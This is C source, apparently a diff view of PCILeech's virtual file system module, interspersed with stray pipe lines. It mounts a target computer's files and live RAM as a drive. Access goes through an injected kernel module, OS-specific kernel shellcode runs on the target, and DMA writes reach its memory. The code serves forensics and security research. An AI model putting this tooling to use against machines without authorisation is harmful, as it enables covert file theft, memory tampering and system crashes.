VOID Vfs_SetFileTime(_Out_ PFILETIME ptDst, _In_opt_ PFILETIME ptSrcOpt, _In_ PSYSTEMTIME pSrcSystemTime)
|
||||
{
|
||||
if(ptSrcOpt && *(PQWORD)ptSrcOpt) {
|
||||
*(PQWORD)ptDst = *(PQWORD)ptSrcOpt;
|
||||
} else {
|
||||
SystemTimeToFileTime(pSrcSystemTime, ptDst);
|
||||
}
|
||||
}
|
||||
|
||||
VOID Vfs_FindFilesManualEntry(_In_ LPCWSTR wcsEntryName, _In_ QWORD cb, _In_ DWORD dwFileAttributes, _In_ PFillFindData FillFindData, _In_ PDOKAN_FILE_INFO DokanFileInfo)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
WIN32_FIND_DATAW findData;
|
||||
ZeroMemory(&findData, sizeof(WIN32_FIND_DATAW));
|
||||
wcscpy_s(findData.cFileName, MAX_PATH, wcsEntryName);
|
||||
findData.nFileSizeHigh = (DWORD)(cb >> 32);
|
||||
findData.nFileSizeLow = (DWORD)cb;
|
||||
findData.dwFileAttributes = dwFileAttributes;
|
||||
SystemTimeToFileTime(&pds->time, &findData.ftCreationTime);
|
||||
SystemTimeToFileTime(&pds->time, &findData.ftLastWriteTime);
|
||||
SystemTimeToFileTime(&pds->time, &findData.ftLastAccessTime);
|
||||
FillFindData(&findData, DokanFileInfo);
|
||||
}
|
||||
|
||||
VOID Vfs_StatisticsShowUpdate(_In_ PVFS_STATISTICS s)
|
||||
{
|
||||
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
|
||||
if(s->hConsole) {
|
||||
GetConsoleScreenBufferInfo(s->hConsole, &consoleInfo);
|
||||
consoleInfo.dwCursorPosition.Y = s->wConsoleCursorPosition;
|
||||
SetConsoleCursorPosition(s->hConsole, consoleInfo.dwCursorPosition);
|
||||
}
|
||||
printf(
|
||||
" CACHE STATISTICS CACHE HIT / CACHE MISS / TOTAL \n" \
|
||||
" RAM ACCESS COUNT: %12lli %3i%% / %12lli / %12lli \n" \
|
||||
" RAM BYTES READ: %12lli %3i%% / %12lli / %12lli \n" \
|
||||
" FILE ACCESS COUNT: %12lli %3i%% / %12lli / %12lli \n" \
|
||||
" FILE BYTES READ: %12lli %3i%% / %12lli / %12lli \n" \
|
||||
" DIR LIST COUNT: %12lli %3i%% / %12lli / %12lli \n" \
|
||||
" FILE LIST COUNT: %12lli %3i%% / %12lli / %12lli \n",
|
||||
s->cRAM.hit, 100 * s->cRAM.hit / max(1, s->cRAM.hit + s->cRAM.miss), s->cRAM.miss, s->cRAM.hit + s->cRAM.miss,
|
||||
s->cbRAM.hit, 100 * s->cbRAM.hit / max(1, s->cbRAM.hit + s->cbRAM.miss), s->cbRAM.miss, s->cbRAM.hit + s->cbRAM.miss,
|
||||
s->cFILE.hit, 100 * s->cFILE.hit / max(1, s->cFILE.hit + s->cFILE.miss), s->cFILE.miss, s->cFILE.hit + s->cFILE.miss,
|
||||
s->cbFILE.hit, 100 * s->cbFILE.hit / max(1, s->cbFILE.hit + s->cbFILE.miss), s->cbFILE.miss, s->cbFILE.hit + s->cbFILE.miss,
|
||||
s->cLISTDIR.hit, 100 * s->cLISTDIR.hit / max(1, s->cLISTDIR.hit + s->cLISTDIR.miss), s->cLISTDIR.miss, s->cLISTDIR.hit + s->cLISTDIR.miss,
|
||||
s->cLISTFILE.hit, 100 * s->cLISTFILE.hit / max(1, s->cLISTFILE.hit + s->cLISTFILE.miss), s->cLISTFILE.miss, s->cLISTFILE.hit + s->cLISTFILE.miss
|
||||
);
|
||||
if(!s->hConsole) {
|
||||
s->hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
GetConsoleScreenBufferInfo(s->hConsole, &consoleInfo);
|
||||
s->wConsoleCursorPosition = consoleInfo.dwCursorPosition.Y - 7;
|
||||
}
|
||||
}
|
||||
|
||||
VOID Vfs_StatisticsThread(_In_ PVFS_STATISTICS s)
|
||||
{
|
||||
while(!s->fThreadExit) {
|
||||
Sleep(100);
|
||||
Vfs_StatisticsShowUpdate(s);
|
||||
}
|
||||
ExitThread(0);
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
// Dokan Callback functions below:
|
||||
//-------------------------------------------------------------------------------
|
||||
|
||||
NTSTATUS DOKAN_CALLBACK
|
||||
VfsCallback_CreateFile(LPCWSTR wcsFileName, PDOKAN_IO_SECURITY_CONTEXT SecurityContext, ACCESS_MASK DesiredAccess, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PDOKAN_FILE_INFO DokanFileInfo)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
BOOL result;
|
||||
VFS_RESULT_FILEINFO fi;
|
||||
//VFS_OPERATION op;
|
||||
UNREFERENCED_PARAMETER(SecurityContext);
|
||||
UNREFERENCED_PARAMETER(FileAttributes);
|
||||
UNREFERENCED_PARAMETER(CreateOptions);
|
||||
// root or file directory
|
||||
if(!wcscmp(wcsFileName, L"\\") || !_wcsicmp(wcsFileName, L"\\files")) {
|
||||
if(CreateDisposition != CREATE_NEW && CreateDisposition != OPEN_ALWAYS && CreateDisposition != OPEN_EXISTING) {
|
||||
return pds->DokanNtStatusFromWin32(ERROR_ACCESS_DENIED);
|
||||
}
|
||||
DokanFileInfo->IsDirectory = TRUE;
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
// ram dump file
|
||||
if(!_wcsicmp(wcsFileName, L"\\liveram.raw")) {
|
||||
if(DokanFileInfo->IsDirectory) {
|
||||
return STATUS_NOT_A_DIRECTORY;
|
||||
}
|
||||
if(CreateDisposition != CREATE_NEW && CreateDisposition != OPEN_ALWAYS && CreateDisposition != OPEN_EXISTING) {
|
||||
return pds->DokanNtStatusFromWin32(ERROR_ACCESS_DENIED);
|
||||
}
|
||||
DokanFileInfo->Nocache = TRUE;
|
||||
if(CreateDisposition == OPEN_ALWAYS) {
|
||||
return STATUS_OBJECT_NAME_COLLISION;
|
||||
}
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
if(!_wcsnicmp(wcsFileName, L"\\files", 6)) { // matches: \files*
|
||||
if(CreateDisposition != CREATE_NEW && CreateDisposition != OPEN_ALWAYS && CreateDisposition != OPEN_EXISTING) {
|
||||
pds->DokanNtStatusFromWin32(ERROR_ACCESS_DENIED);
|
||||
}
|
||||
result = Vfs_ListSingle(wcsFileName, DokanFileInfo, &fi);
|
||||
/*
|
||||
TODO: allow create new files some time in the future.
|
||||
if(!result) {
|
||||
if(CreateDisposition == CREATE_NEW || CreateDisposition == OPEN_ALWAYS) {
|
||||
result = _Vfs_InitVfsOperation(&op, VFS_OP_CMD_CREATE, wcsFileName, DokanFileInfo);
|
||||
if(!result) { return STATUS_FILE_INVALID; }
|
||||
EnterCriticalSection(&pds->LockDma);
|
||||
Exec_ExecSilent(pds->pCfg, pds->pDeviceData, pds->szNameVfsShellcode, (PBYTE)&op, sizeof(VFS_OPERATION), NULL, NULL);
|
||||
LeaveCriticalSection(&pds->LockDma);
|
||||
VfsCache_DirectoryDel(wcsFileName, DokanFileInfo, FALSE);
|
||||
}
|
||||
result = _Vfs_ListSingle(wcsFileName, DokanFileInfo, &fi);
|
||||
}
|
||||
*/
|
||||
if(!result) {
|
||||
return STATUS_FILE_INVALID;
|
||||
}
|
||||
DokanFileInfo->IsDirectory = (fi.flags & VFS_FLAGS_FILE_DIRECTORY) ? TRUE : FALSE;
|
||||
DokanFileInfo->Nocache = TRUE;
|
||||
return (CreateDisposition == OPEN_ALWAYS) ? STATUS_OBJECT_NAME_COLLISION : STATUS_SUCCESS;
|
||||
}
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
NTSTATUS DOKAN_CALLBACK
|
||||
VfsCallback_GetFileInformation(_In_ LPCWSTR wcsFileName, _Inout_ LPBY_HANDLE_FILE_INFORMATION hfi, _In_ PDOKAN_FILE_INFO DokanFileInfo)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
WIN32_FIND_DATA;
|
||||
BOOL result;
|
||||
VFS_RESULT_FILEINFO fi;
|
||||
if(!wcscmp(wcsFileName, L"\\") || !_wcsicmp(wcsFileName, L"\\files") || !_wcsicmp(wcsFileName, L"\\files\\")) { // root & files directory
|
||||
SystemTimeToFileTime(&pds->time, &hfi->ftCreationTime);
|
||||
SystemTimeToFileTime(&pds->time, &hfi->ftLastWriteTime);
|
||||
SystemTimeToFileTime(&pds->time, &hfi->ftLastAccessTime);
|
||||
hfi->nFileSizeHigh = 0;
|
||||
hfi->nFileSizeLow = 0;
|
||||
hfi->dwFileAttributes = FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_DIRECTORY | FILE_ATTRIBUTE_NOT_CONTENT_INDEXED;
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
if(!_wcsicmp(wcsFileName, L"\\liveram.raw")) { // ram dump file
|
||||
SystemTimeToFileTime(&pds->time, &hfi->ftCreationTime);
|
||||
SystemTimeToFileTime(&pds->time, &hfi->ftLastWriteTime);
|
||||
SystemTimeToFileTime(&pds->time, &hfi->ftLastAccessTime);
|
||||
hfi->nFileSizeHigh = (DWORD)(pds->cbRAM >> 32);
|
||||
hfi->nFileSizeLow = (DWORD)pds->cbRAM;
|
||||
hfi->dwFileAttributes = FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_NOT_CONTENT_INDEXED;
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
if(!_wcsnicmp(wcsFileName, L"\\files", 6)) { // matches: \files*
|
||||
result = Vfs_ListSingle(wcsFileName, DokanFileInfo, &fi);
|
||||
if(!result) { return STATUS_FILE_INVALID; }
|
||||
_VFS_SET_FILETIME_OPT(&hfi->ftCreationTime, &fi.tCreateOpt, &pds->time);
|
||||
_VFS_SET_FILETIME_OPT(&hfi->ftLastAccessTime, &fi.tAccessOpt, &pds->time);
|
||||
_VFS_SET_FILETIME_OPT(&hfi->ftLastWriteTime, &fi.tModifyOpt, &pds->time);
|
||||
hfi->nFileSizeHigh = (DWORD)(fi.cb >> 32);
|
||||
hfi->nFileSizeLow = (DWORD)fi.cb;
|
||||
hfi->dwFileAttributes |= FILE_ATTRIBUTE_NOT_CONTENT_INDEXED;
|
||||
hfi->dwFileAttributes |= (fi.flags & VFS_FLAGS_FILE_NORMAL) ? FILE_ATTRIBUTE_NORMAL : 0;
|
||||
hfi->dwFileAttributes |= (fi.flags & VFS_FLAGS_FILE_DIRECTORY) ? FILE_ATTRIBUTE_DIRECTORY : 0;
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
return STATUS_FILE_NOT_AVAILABLE;
|
||||
}
|
||||
|
||||
NTSTATUS DOKAN_CALLBACK
|
||||
VfsCallback_FindFiles(LPCWSTR wcsFileName, PFillFindData FillFindData, PDOKAN_FILE_INFO DokanFileInfo)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
WIN32_FIND_DATAW findData;
|
||||
BOOL result;
|
||||
QWORD i, cfi;
|
||||
PVFS_RESULT_FILEINFO pfi, pfiBase = NULL;
|
||||
if(!wcscmp(wcsFileName, L"\\")) {
|
||||
Vfs_FindFilesManualEntry(L"liveram.raw", pds->cbRAM, FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, FillFindData, DokanFileInfo);
|
||||
Vfs_FindFilesManualEntry(L"files", 0, FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_DIRECTORY | FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, FillFindData, DokanFileInfo);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
if(!_wcsicmp(wcsFileName, L"\\liveram.raw")) {
|
||||
Vfs_FindFilesManualEntry(L"liveram.raw", pds->cbRAM, FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, FillFindData, DokanFileInfo);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
if(!_wcsnicmp(wcsFileName, L"\\files", 6)) { // matches: \files*
|
||||
result = Vfs_ListDirectory(wcsFileName, DokanFileInfo, &pfiBase, &cfi);
|
||||
if(!result) { return STATUS_SUCCESS; }
|
||||
for(i = 0; i < cfi; i++) {
|
||||
pfi = pfiBase + i;
|
||||
memset(&findData, 0, sizeof(WIN32_FIND_DATAW));
|
||||
_VFS_SET_FILETIME_OPT(&findData.ftCreationTime, &pfi->tCreateOpt, &pds->time);
|
||||
_VFS_SET_FILETIME_OPT(&findData.ftLastAccessTime, &pfi->tAccessOpt, &pds->time);
|
||||
_VFS_SET_FILETIME_OPT(&findData.ftLastWriteTime, &pfi->tModifyOpt, &pds->time);
|
||||
wcscpy_s(findData.cFileName, MAX_PATH, pfi->wszFileName);
|
||||
findData.nFileSizeHigh = (DWORD)(pfi->cb >> 32);
|
||||
findData.nFileSizeLow = (DWORD)pfi->cb;
|
||||
findData.dwFileAttributes |= FILE_ATTRIBUTE_NOT_CONTENT_INDEXED;
|
||||
findData.dwFileAttributes |= (pfi->flags & VFS_FLAGS_FILE_NORMAL) ? FILE_ATTRIBUTE_NORMAL : 0;
|
||||
findData.dwFileAttributes |= (pfi->flags & VFS_FLAGS_FILE_DIRECTORY) ? FILE_ATTRIBUTE_DIRECTORY : 0;
|
||||
FillFindData(&findData, DokanFileInfo);
|
||||
}
|
||||
LocalFree(pfiBase);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
NTSTATUS _VfsReadFile_RAM(LPVOID Buffer, DWORD BufferLength, LPDWORD ReadLength, LONGLONG Offset, PVFS_GLOBAL_STATE pds)
|
||||
{
|
||||
BOOL result;
|
||||
QWORD qwBaseOffset, qwBase, qwSize, qwCfgAddrMaxOrig;
|
||||
qwBaseOffset = Offset % 0x1000;
|
||||
qwBase = Offset - qwBaseOffset;
|
||||
qwSize = (BufferLength + qwBaseOffset + 0xfff) & ~0xfff;
|
||||
if(qwBase >= pds->cbRAM) {
|
||||
*ReadLength = 0;
|
||||
return STATUS_FILE_INVALID;
|
||||
}
|
||||
if(qwBase + qwSize > pds->cbRAM) {
|
||||
qwSize -= pds->cbRAM - qwBase;
|
||||
}
|
||||
if(qwSize > 0x01000000) {
|
||||
qwSize = 0x01000000;
|
||||
}
|
||||
*ReadLength = (DWORD)min(BufferLength, qwSize - qwBaseOffset);
|
||||
result = VfsCache_MemGet(Buffer, Offset, *ReadLength, pds);
|
||||
if(result) {
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
qwSize = CACHE_MEM_SIZE;
|
||||
EnterCriticalSection(&pds->LockDma);
|
||||
qwCfgAddrMaxOrig = pds->ctx->cfg->qwAddrMax; // TODO: REMOVE UGLY HACK WITH ADDRMAX...
|
||||
pds->ctx->cfg->qwAddrMax = min(pds->cbRAM, qwBase + qwSize);
|
||||
result = Util_Read16M(pds->ctx, pds->pbDMA16M, qwBase, NULL);
|
||||
pds->ctx->cfg->qwAddrMax = qwCfgAddrMaxOrig;
|
||||
memcpy(Buffer, pds->pbDMA16M + qwBaseOffset, *ReadLength);
|
||||
VfsCache_MemPut(pds->pbDMA16M, qwBase, pds);
|
||||
LeaveCriticalSection(&pds->LockDma);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
NTSTATUS _VfsReadFile_File(_In_ LPCWSTR wcsFileName, _Out_ LPVOID Buffer, _In_ DWORD BufferLength, _In_ LPDWORD ReadLength, _In_ LONGLONG Offset, _In_ PDOKAN_FILE_INFO DokanFileInfo)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
BOOL result;
|
||||
VFS_OPERATION op;
|
||||
PBYTE pbBufferDma = NULL;
|
||||
QWORD cbBufferDma;
|
||||
QWORD qwBaseOffset, qwBase, qwSize;
|
||||
if(Vfs_IsFileInBlackList(wcsFileName, DokanFileInfo)) { return STATUS_ACCESS_DENIED; }
|
||||
*ReadLength = BufferLength;
|
||||
result = VfsCache_FileGet(wcsFileName, Offset, Buffer, BufferLength, pds);
|
||||
if(result) {
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
result = Vfs_InitVfsOperation(&op, VFS_OP_CMD_READ, wcsFileName, DokanFileInfo);
|
||||
if(!result) { return STATUS_DATA_ERROR; }
|
||||
qwBaseOffset = Offset % 0x00100000; // 1MB
|
||||
qwBase = Offset - qwBaseOffset;
|
||||
qwSize = (BufferLength + qwBaseOffset + 0x1fffff) & ~0x1fffff;
|
||||
op.offset = qwBase;
|
||||
op.cb = qwSize;
|
||||
EnterCriticalSection(&pds->LockDma);
|
||||
// TODO OP FIXES!
|
||||
result = Exec_ExecSilent(pds->ctx, pds->szNameVfsShellcode, (PBYTE)&op, sizeof(VFS_OPERATION), &pbBufferDma, &cbBufferDma);
|
||||
if(result && (qwBaseOffset <= cbBufferDma)) {
|
||||
VfsCache_FilePut(wcsFileName, qwBase, pbBufferDma, cbBufferDma, pds);
|
||||
*ReadLength = (DWORD)min(*ReadLength, cbBufferDma - qwBaseOffset);
|
||||
memcpy(Buffer, pbBufferDma + qwBaseOffset, *ReadLength);
|
||||
LocalFree(pbBufferDma);
|
||||
LeaveCriticalSection(&pds->LockDma);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
LeaveCriticalSection(&pds->LockDma);
|
||||
return STATUS_DATA_ERROR;
|
||||
}
|
||||
|
||||
NTSTATUS _VfsWriteFile_File(_In_ LPCWSTR wcsFileName, _In_ LPCVOID Buffer, _In_ DWORD NumberOfBytesToWrite, _In_ LPDWORD NumberOfBytesWritten, _In_ LONGLONG Offset, _In_ PDOKAN_FILE_INFO DokanFileInfo)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
BOOL result;
|
||||
PVFS_OPERATION pop = NULL;
|
||||
if(Vfs_IsFileInBlackList(wcsFileName, DokanFileInfo)) { return STATUS_ACCESS_DENIED; }
|
||||
pop = (PVFS_OPERATION)LocalAlloc(LMEM_ZEROINIT, sizeof(VFS_OPERATION) + NumberOfBytesToWrite);
|
||||
if(!pop) { return STATUS_MEMORY_NOT_ALLOCATED; }
|
||||
result = Vfs_InitVfsOperation(pop, VFS_OP_CMD_WRITE, wcsFileName, DokanFileInfo);
|
||||
pop->offset = (QWORD)Offset;
|
||||
if(!result) { return STATUS_DATA_ERROR; }
|
||||
if(DokanFileInfo->WriteToEndOfFile) { pop->flags |= VFS_FLAGS_APPEND_ON_WRITE; }
|
||||
if(0 == Offset) {
|
||||
pop->flags |= VFS_FLAGS_TRUNCATE_ON_WRITE; // TODO: find when to truncate and when not to... if 0th byte is written file is truncated now...
|
||||
}
|
||||
memcpy(pop->pb, Buffer, NumberOfBytesToWrite);
|
||||
pop->cb = NumberOfBytesToWrite;
|
||||
EnterCriticalSection(&pds->LockDma);
|
||||
Exec_ExecSilent(pds->ctx, pds->szNameVfsShellcode, (PBYTE)pop, sizeof(VFS_OPERATION) + NumberOfBytesToWrite, NULL, NULL);
|
||||
LeaveCriticalSection(&pds->LockDma);
|
||||
VfsCache_FileDel(wcsFileName, Offset, NumberOfBytesToWrite, pds);
|
||||
VfsCache_DirectoryDel(wcsFileName, DokanFileInfo, FALSE);
|
||||
// TODO: UGLY BUT WORKS - PLEASE FIX THIS!!!
|
||||
*NumberOfBytesWritten = NumberOfBytesToWrite;
|
||||
LocalFree(pop);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
NTSTATUS DOKAN_CALLBACK
|
||||
VfsCallback_ReadFile(LPCWSTR wcsFileName, LPVOID Buffer, DWORD BufferLength, LPDWORD ReadLength, LONGLONG Offset, PDOKAN_FILE_INFO DokanFileInfo)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
if(!_wcsicmp(wcsFileName, L"\\liveram.raw")) { // ram dump file
|
||||
return _VfsReadFile_RAM(Buffer, BufferLength, ReadLength, Offset, pds);
|
||||
}
|
||||
if(!_wcsnicmp(wcsFileName, L"\\files\\", 7)) {
|
||||
return _VfsReadFile_File(wcsFileName, Buffer, BufferLength, ReadLength, Offset, DokanFileInfo);
|
||||
}
|
||||
return STATUS_FILE_INVALID;
|
||||
}
|
||||
|
||||
NTSTATUS DOKAN_CALLBACK
|
||||
VfsCallback_WriteFile(LPCWSTR wcsFileName, LPCVOID Buffer, DWORD NumberOfBytesToWrite, LPDWORD NumberOfBytesWritten, LONGLONG Offset, PDOKAN_FILE_INFO DokanFileInfo)
|
||||
{
|
||||
PVFS_GLOBAL_STATE pds = (PVFS_GLOBAL_STATE)DokanFileInfo->DokanOptions->GlobalContext;
|
||||
BOOL result;
|
||||
if(!_wcsicmp(wcsFileName, L"\\liveram.raw")) { // ram dump file
|
||||
EnterCriticalSection(&pds->LockDma);
|
||||
result = DeviceWriteMEM(pds->ctx, Offset, (PBYTE)Buffer, NumberOfBytesToWrite, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
LeaveCriticalSection(&pds->LockDma);
|
||||
VfsCache_MemDel(Offset, NumberOfBytesToWrite, pds);
|
||||
*NumberOfBytesWritten = NumberOfBytesToWrite;
|
||||
return result ? STATUS_SUCCESS : STATUS_FILE_SYSTEM_LIMITATION;
|
||||
}
|
||||
if(!_wcsnicmp(wcsFileName, L"\\files\\", 7)) {
|
||||
return _VfsWriteFile_File(wcsFileName, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten, Offset, DokanFileInfo);
|
||||
}
|
||||
return STATUS_FILE_INVALID;
|
||||
}
|
||||
|
||||
NTSTATUS DOKAN_CALLBACK
|
||||
VfsCallback_DeleteFile(LPCWSTR wcsFileName, PDOKAN_FILE_INFO DokanFileInfo) {
|
||||
Vfs_Delete(wcsFileName, DokanFileInfo);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
VOID DOKAN_CALLBACK
|
||||
VfsCallback_Cleanup(LPCWSTR wcsFileName, PDOKAN_FILE_INFO DokanFileInfo) {
|
||||
if(DokanFileInfo->DeleteOnClose) {
|
||||
if(!DokanFileInfo->IsDirectory) {
|
||||
Vfs_Delete(wcsFileName, DokanFileInfo);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
VOID ActionMount(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
int status;
|
||||
HMODULE hModuleDokan = NULL;
|
||||
PVFS_GLOBAL_STATE pDokanState = NULL;
|
||||
PDOKAN_OPTIONS pDokanOptions = NULL;
|
||||
PDOKAN_OPERATIONS pDokanOperations = NULL;
|
||||
WCHAR wszMountPoint[] = { 'K', ':', '\\', 0 };
|
||||
int(*fnDokanMain)(PDOKAN_OPTIONS, PDOKAN_OPERATIONS);
|
||||
// sanity checks
|
||||
if(!ctx->phKMD) {
|
||||
printf("MOUNT: Failed. Mounting the PCILeech File System requires an active kernel module (KMD).\n");
|
||||
printf("Please use in conjunction with the -kmd option only.\n");
|
||||
goto fail;
|
||||
}
|
||||
// allocate
|
||||
hModuleDokan = LoadLibraryExA("dokan1.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
|
||||
fnDokanMain = (int(*)(PDOKAN_OPTIONS, PDOKAN_OPERATIONS))GetProcAddress(hModuleDokan, "DokanMain");
|
||||
if(!hModuleDokan || !fnDokanMain) {
|
||||
printf("MOUNT: Failed. The required DOKANY file system library is not installed. \n");
|
||||
printf("Please download from : https://github.com/dokan-dev/dokany/releases/latest\n");
|
||||
goto fail;
|
||||
}
|
||||
pDokanState = (PVFS_GLOBAL_STATE)LocalAlloc(LMEM_ZEROINIT, sizeof(VFS_GLOBAL_STATE));
|
||||
pDokanOptions = (PDOKAN_OPTIONS)LocalAlloc(LMEM_ZEROINIT, sizeof(DOKAN_OPTIONS));
|
||||
pDokanOperations = (PDOKAN_OPERATIONS)LocalAlloc(LMEM_ZEROINIT, sizeof(DOKAN_OPERATIONS));
|
||||
if(!pDokanState || !pDokanOptions || !pDokanOperations) {
|
||||
printf("MOUNT: Failed (out of memory).");
|
||||
goto fail;
|
||||
}
|
||||
// set global state
|
||||
GetSystemTime(&pDokanState->time);
|
||||
pDokanState->ctx = ctx;
|
||||
pDokanState->cbRAM = ctx->phKMD->pPhysicalMap[ctx->phKMD->cPhysicalMap - 1].BaseAddress + ctx->phKMD->pPhysicalMap[ctx->phKMD->cPhysicalMap - 1].NumberOfBytes;
|
||||
InitializeCriticalSection(&pDokanState->LockDma);
|
||||
InitializeCriticalSection(&pDokanState->LockCache);
|
||||
pDokanState->DokanNtStatusFromWin32 = (NTSTATUS(*)(DWORD))GetProcAddress(hModuleDokan, "DokanNtStatusFromWin32");
|
||||
pDokanState->PCILeechOperatingSystem = ctx->pk->OperatingSystem;
|
||||
if(pDokanState->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_WINDOWS) {
|
||||
strcpy_s(pDokanState->szNameVfsShellcode, 32, "DEFAULT_WINX64_VFS_KSH");
|
||||
} else if(pDokanState->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_LINUX) {
|
||||
strcpy_s(pDokanState->szNameVfsShellcode, 32, "DEFAULT_LINUX_X64_VFS_KSH");
|
||||
} else if(pDokanState->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_MACOS) {
|
||||
strcpy_s(pDokanState->szNameVfsShellcode, 32, "DEFAULT_MACOS_VFS_KSH");
|
||||
} else {
|
||||
printf("MOUNT: Operating system not supported.\n");
|
||||
goto fail;
|
||||
}
|
||||
// set options
|
||||
pDokanOptions->Version = DOKAN_VERSION;
|
||||
pDokanOptions->Options |= DOKAN_OPTION_NETWORK;
|
||||
pDokanOptions->UNCName = L"\\\\PCILeech\\PCILeechFileSystem";
|
||||
if((ctx->cfg->szInS[0] >= 'a' && ctx->cfg->szInS[0] <= 'z') || (ctx->cfg->szInS[0] >= 'A' && ctx->cfg->szInS[0] <= 'Z')) {
|
||||
wszMountPoint[0] = ctx->cfg->szInS[0];
|
||||
}
|
||||
pDokanOptions->MountPoint = wszMountPoint;
|
||||
pDokanOptions->GlobalContext = (ULONG64)pDokanState;
|
||||
pDokanOptions->Timeout = 60000;
|
||||
// set callbacks
|
||||
pDokanOperations->ZwCreateFile = VfsCallback_CreateFile;
|
||||
pDokanOperations->Cleanup = VfsCallback_Cleanup;
|
||||
pDokanOperations->DeleteFileW = VfsCallback_DeleteFile;
|
||||
pDokanOperations->GetFileInformation = VfsCallback_GetFileInformation;
|
||||
pDokanOperations->FindFiles = VfsCallback_FindFiles;
|
||||
pDokanOperations->ReadFile = VfsCallback_ReadFile;
|
||||
pDokanOperations->WriteFile = VfsCallback_WriteFile;
|
||||
// enable
|
||||
printf(
|
||||
"MOUNTING TARGET FILE SYSTEM - PLEASE READ IMPORTANT INFORMATION BELOW: \n" \
|
||||
"===============================================================================\n" \
|
||||
"PCILeech file system mount is currently supported for: macOS, Windows and Linux\n" \
|
||||
"There are limitations that are important to know, see below. Use at own risk!\n" \
|
||||
" - Create file: not implemented. \n" \
|
||||
" - Write to files may be buggy and may in rare cases corrupt the target file. \n" \
|
||||
" - Delete file will most often work, but with errors. \n" \
|
||||
" - Delete directory, rename/move file and other features may not be supported. \n" \
|
||||
" - Only the C:\\ drive is mounted on Windows target systems. \n" \
|
||||
"===============================================================================\n" \
|
||||
"The target system files are found in the files directory. The live memory (RAM)\n" \
|
||||
"of the target system is mapped into the file: liveram.raw. Writing to the live\n" \
|
||||
"memory may crash the system. Use with care. \n" \
|
||||
"Copying files and dumping memory via the PCILeech virtual file system will work\n" \
|
||||
"but the performance is better when using the built in commandline commands when\n" \
|
||||
"dumping memory and/or transferring files. \n" \
|
||||
"===============================================================================\n");
|
||||
printf("MOUNT: Mounting as drive %S\n", pDokanOptions->MountPoint);
|
||||
if(ctx->cfg->fVerbose) {
|
||||
pDokanState->Statistics.hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Vfs_StatisticsThread, &pDokanState->Statistics, 0, NULL);
|
||||
}
|
||||
status = fnDokanMain(pDokanOptions, pDokanOperations);
|
||||
while(status == DOKAN_SUCCESS) {
|
||||
printf("MOUNT: ReMounting as drive %S\n", pDokanOptions->MountPoint);
|
||||
status = fnDokanMain(pDokanOptions, pDokanOperations);
|
||||
}
|
||||
printf("MOUNT: Failed. Status Code: %i\n", status);
|
||||
DeleteCriticalSection(&pDokanState->LockDma);
|
||||
DeleteCriticalSection(&pDokanState->LockCache);
|
||||
fail:
|
||||
if(pDokanState) {
|
||||
pDokanState->Statistics.fThreadExit = TRUE;
|
||||
Sleep(150);
|
||||
LocalFree(pDokanState);
|
||||
}
|
||||
if(hModuleDokan) { FreeLibrary(hModuleDokan); }
|
||||
if(pDokanOptions) { LocalFree(pDokanOptions); }
|
||||
if(pDokanOperations) { LocalFree(pDokanOperations); }
|
||||
}
|
||||
|
||||
@@ -1,4 +1,21 @@
|
||||
// vfs.h : definitions related to virtual file system support.
|
||||
//
|
||||
// (c) Ulf Frisk, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#ifndef __VFS_H__
|
||||
#define __VFS_H__
|
||||
#include "pcileech.h"
|
||||
|
||||
/*
|
||||
